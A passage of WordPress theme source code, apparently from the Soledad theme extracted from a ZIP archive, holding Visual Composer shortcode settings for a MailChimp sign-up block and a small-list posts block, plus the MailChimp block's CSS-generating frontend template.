				esc_html__( 'Background', 'soledad' )     => 's3',
				esc_html__( 'Briefness', 'soledad' )      => 's4',
			),
			'description' => sprintf( __( 'You can edit your sign-up form in the <a href="%s">MailChimp for WordPress form settings</a>.', 'soledad' ), admin_url( 'admin.php?page=mailchimp-for-wp-forms' ) ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_w',
			'heading'    => esc_html__( 'Content width', 'soledad' ),
			'value'      => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Content Alignment', 'soledad' ),
			'param_name' => 'content_alignment',
			'std'        => 'left',
			'value'      => array(
				'Left'   => 'margin-right: auto',
				'Center' => 'margin-left: auto; margin-right: auto;',
				'Right'  => 'margin-left: auto',
			),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'mc4wp_des_width',
			'heading'    => esc_html__( 'Description width', 'soledad' ),
			'value'      => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'mc4wp_des_martop',
			'heading'          => esc_html__( 'Margin top', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'mc4wp_des_marbottom',
			'heading'          => esc_html__( 'Margin bottom', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		)
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'color_genral_css',
			'heading'          => esc_html__( ' Sign-up form colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Background color', 'soledad' ),
			'param_name' => 'mc4wp_bg_color',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'mailchimp_style', 'value' => array( 's2', 's3' ) ),
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Description color', 'soledad' ),
			'param_name'       => 'mc4wp_des_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input name & email background color', 'soledad' ),
			'param_name'       => 'mc4wp_bg_input_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( ' Input name & email border color', 'soledad' ),
			'param_name'       => 'mc4wp_border_input_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input name & email text color', 'soledad' ),
			'param_name'       => 'mc4wp_text_input',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Placeholder input name & email color', 'soledad' ),
			'param_name'       => 'mc4wp_placeh_input',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit text color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit background color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit border color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover text color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover background color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover border color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hborder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\練#  #  1  inc/js_composer/shortcodes/mailchimp/frontend.phpnu [        <?php
$output              = $penci_block_width = $el_class = $css_animation = $css = '';
$mailchimp_style     = $mc4wp_bg_color = '';
$mc4wp_des_color     = $mc4wp_bg_input_color = $mc4wp_border_input_color = $mc4wp_text_input = $mc4wp_placeh_input = '';
$mc4wp_submit_color  = $mc4wp_submit_bgcolor = $mc4wp_submit_border_color = '';
$mc4wp_submit_hcolor = $mc4wp_submit_hbgcolor = $mc4wp_submit_hborder_color = $responsive_spacing = '';

$mc4wp_des_width = $mc4wp_des_martop = $mc4wp_des_marbottom = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-mailchimp-block';
$css_class .= ' penci-mailchimp-' . $mailchimp_style;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'mailchimp' );

$class_signup_form = 'widget widget_mc4wp_form_widget';
if ( 's2' == $mailchimp_style ) {
	$class_signup_form .= ' penci-header-signup-form';
} elseif ( 's3' == $mailchimp_style ) {
	$class_signup_form .= ' footer-subscribe';
}
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-block_content">
    <div class="<?php echo esc_attr( $class_signup_form ); ?>">
		<?php
		if ( function_exists( 'mc4wp_show_form' ) ) {
			mc4wp_show_form();
		}
		?>
        <div>
        </div>
    </div>
<?php

$id_mailchimp = '#' . $block_id;
$id_mailchimp2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_mailchimp, $atts );

if ( $mc4wp_bg_color ) {
	$css_custom .= $id_mailchimp . ' .footer-subscribe,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form{ background-color: ' . esc_attr( $mc4wp_bg_color ) . '; }';
}
if ( $mc4wp_bg_color ) {
	$css_custom .= $id_mailchimp . ' .footer-subscribe,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form{ background-color: ' . esc_attr( $mc4wp_bg_color ) . '; }';
}

if ( $mc4wp_des_color ) {
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form .mc4wp-form-fields > p,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form form > p,';
	$css_custom .= $id_mailchimp . ' .footer-subscribe .mc4wp-form .mdes,';
	$css_custom .= $id_mailchimp . ' .mc4wp-form-fields{ color: ' . esc_attr( $mc4wp_des_color ) . '; }';
}

if ( $mc4wp_des_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ max-width: {{VALUE}}px;width: 100%;display: inline-block; }', $mc4wp_des_width );
}
if ( $mc4wp_des_martop ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ margin-top: {{VALUE}}px; }', $mc4wp_des_martop );
}
if ( $mc4wp_des_marbottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ margin-bottom: {{VALUE}}px; }', $mc4wp_des_marbottom );
}

$css_custom_input = '';
if ( $mc4wp_bg_input_color ) {
	$css_custom_input .= 'background-color: ' . esc_attr( $mc4wp_bg_input_color ) . ';';
}
if ( $mc4wp_border_input_color ) {
	$css_custom_input .= 'border-color: ' . esc_attr( $mc4wp_border_input_color ) . ';';
}
if ( $mc4wp_text_input ) {
	$css_custom_input .= 'color: ' . esc_attr( $mc4wp_text_input ) . ';';
}

if ( $css_custom_input ) {
	$css_custom .= $id_mailchimp . ' .widget input[type="text"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="email"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="date"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="number"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="search"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="password"]{' . esc_attr( $css_custom_input ) . '}';
}

if ( $mc4wp_placeh_input ) {
	$css_custom .= $id_mailchimp . ' input::-webkit-input-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
	$css_custom .= $id_mailchimp . ' input::-moz-placeholder { color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
	$css_custom .= $id_mailchimp . ' input:-ms-input-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
	$css_custom .= $id_mailchimp . ' input:-moz-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
}

$submit_color = $submit_hcolor = '';
if ( $mc4wp_submit_color ) {
	$submit_color .= 'color:' . esc_attr( $mc4wp_submit_color ) . ';';
}
if ( $mc4wp_submit_bgcolor ) {
	$submit_color .= 'background-color:' . esc_attr( $mc4wp_submit_bgcolor ) . ';';
}
if ( $mc4wp_submit_border_color ) {
	$submit_color .= 'border-color:' . esc_attr( $mc4wp_submit_border_color ) . ';';
}

if ( $submit_color ) {
	$css_custom .= $id_mailchimp2 . ' .mc4wp-form input[type="submit"]{ ' . $submit_color . ' }';
}

if ( $mc4wp_submit_hcolor ) {
	$submit_hcolor .= 'color:' . esc_attr( $mc4wp_submit_hcolor ) . ';';
}
if ( $mc4wp_submit_hbgcolor ) {
	$submit_hcolor .= 'background-color:' . esc_attr( $mc4wp_submit_hbgcolor ) . ';';
}
if ( $mc4wp_submit_hborder_color ) {
	$submit_hcolor .= 'border-color:' . esc_attr( $mc4wp_submit_hborder_color ) . ';';
}

if ( $submit_hcolor ) {
	$css_custom .= $id_mailchimp . ' .mc4wp-form input[type="submit"]:hover{' . $submit_hcolor . '}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_mailchimp, $responsive_spacing );
}

if ( $atts['content_w'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .penci-mailchimp-block{max-width: {{VALUE}}px;width:100%;}', $atts['content_w'] );
}

if ( $atts['content_alignment'] ) {
	$css_custom .= $id_mailchimp . ' .penci-mailchimp-block{text-align: ' . $atts['content_alignment'] . ';}';
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\\U  U  2  inc/js_composer/shortcodes/small_list/settings.phpnu [        <?php
vc_map( array(
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Small List', 'soledad' ),
	'base'          => 'penci_small_list',
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/small_list/frontend.php',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'description'   => esc_html__( 'Display a small list posts', 'soledad' ),
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'        => 700,
	'params'        => array_merge( array(
		// General
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_gnr_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'loop',
			'heading'     => '',
			'param_name'  => 'build_query',
			'value'       => 'post_type:post|size:10',
			'settings'    => array(
				'size'      => array( 'value' => 10, 'hidden' => false ),
				'post_type' => array( 'value' => 'post', 'hidden' => false )
			),
			'description' => __( 'Create WordPress loop, to filter your posts', 'soledad' ),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Type:', 'soledad' ),
			'param_name'       => 'type',
			'value'            => array(
				'Grid'          => 'grid',
				'Carousel'      => 'crs',
				'Creative List' => 'nlist',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Style', 'soledad' ),
			'param_name'       => 'paging',
			'value'            => array(
				esc_html__( 'None', 'soledad' )                    => 'none',
				esc_html__( 'Ajax Next/Previous', 'soledad' )      => 'nextprev',
				esc_html__( 'Page Navigation Numbers', 'soledad' ) => 'numbers',
				esc_html__( 'Load More Posts Button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )         => 'scroll',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Desktop:', 'soledad' ),
			'param_name'       => 'column',
			'std'              => '4',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Tablet', 'soledad' ),
			'param_name'       => 'tab_column',
			'std'              => '2',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Mobile', 'soledad' ),
			'param_name'       => 'mb_column',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Vertical Align', 'soledad' ),
			'param_name'       => 'vertical_position',
			'value'            => array(
				'Top'    => 'top',
				'Middle' => 'middle',
				'Bottom' => 'bottom',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Align', 'soledad' ),
			'param_name'       => 'paging_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Image
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_img_settings',
			'heading'          => esc_html__( 'Image Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Hide Featured Image?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_thumb',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Position', 'soledad' ),
			'param_name'       => 'imgpos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
				esc_html__( 'Top', 'soledad' )   => 'top',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Width', 'soledad' ),
			'param_name'       => 'imgwidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Align', 'soledad' ),
			'param_name'       => 'image_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Ratio', 'soledad' ),
			'param_name'       => 'img_ratio',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Lazyload Images?', 'soledad' ),
			'param_name'       => 'disable_lazy',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'mthumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'No Crop Image?', 'soledad' ),
			'param_name'       => 'nocrop',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'imgtop_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Post Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Showing Post Meta', 'soledad' ),
			'param_name'       => 'post_meta',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => array(
					[
						'value' => 'cat',
						'label' => esc_html__( 'Categories', 'soledad' ),
					],
					[
						'value' => 'title',
						'label' => esc_html__( 'Title', 'soledad' ),
					],
					[
						'value' => 'author',
						'label' => esc_html__( 'Author', 'soledad' ),
					],
					[
						'value' => 'date',
						'label' => esc_html__( 'Date', 'soledad' ),
					],
					[
						'value' => 'comment',
						'label' => esc_html__( 'Comments', 'soledad' ),
					],
					[
						'value' => 'views',
						'label' => esc_html__( 'Views', 'soledad' ),
					],
					[
						'value' => 'reading',
						'label' => esc_html__( 'Reading Time', 'soledad' ),
					],
				),
			),
			'description'      => 'Support showing: Categories, Title, Author, Date, Comments, Views, Reading Time',
			'value'            => 'cat,title,date',
			'std'              => 'cat,title,date',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Primary Category Only', 'soledad' ),
			'param_name'       => 'primary_cat',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Title Words Length', 'soledad' ),
			'param_name'       => 'title_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Position', 'soledad' ),
			'param_name'       => 'date_pos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'date_align',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Post Date Width', 'soledad' ),
			'param_name'       => 'datewidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'dformat',
			'value'            => array(
				'Default'  => '',
				'Time Ago' => 'timeago',
				'Normal'   => 'normal',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Format Icons', 'soledad' ),
			'param_name'       => 'show_formaticon',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'param_name'       => 'show_reviewpie',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show The Post Excerpt?', 'soledad' ),
			'param_name'       => 'show_excerpt',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
			'param_name'       => 'excerpt_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Excerpt Align', 'soledad' ),
			'param_name'       => 'excerpt_align',
			'value'            => array(
				'Left'    => 'left',
				'Center'  => 'center',
				'Right'   => 'right',
				'Justify' => 'justify',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Read More Button?', 'soledad' ),
			'param_name'       => 'show_readmore',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Read More Button Style', 'soledad' ),
			'param_name'       => 'rmstyle',
			'value'            => array(
				'Default'   => 'filled',
				'Bordered'  => 'bordered',
				'Underline' => 'underline',
				'Text Only' => 'text',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Read More Align', 'soledad' ),
			'param_name'       => 'rm_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Excerpt & Read More Position', 'soledad' ),
			'param_name'       => 'excerpt_pos',
			'value'            => array(
				'Below of Image' => 'below',
				'Side of Image'  => 'side',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Showing on Mobile', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories on Mobile?', 'soledad' ),
			'param_name'       => 'hide_cat_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'hide_meta_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'param_name'       => 'hide_excerpt_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'param_name'       => 'hide_rm_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Carousel Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_crs_heading',
			'heading'          => esc_html__( 'Carousel Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'       => 'autoplay',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Carousel Loop', 'soledad' ),
			'param_name'       => 'loop',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'auto_time',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'speed',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'       => 'shownav',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'       => 'showdots',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_heading_1',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Add Vertical Border Between Post Items', 'soledad' ),
			'param_name'       => 'ver_border',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// color
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Title Font Size', 'soledad' ),
			'param_name'       => 'title_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Date Font Size', 'soledad' ),
			'param_name'       => 'date_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'date_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Meta Font Size', 'soledad' ),
			'param_name'       => 'meta_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
			'param_name'       => 'meta_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'link_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
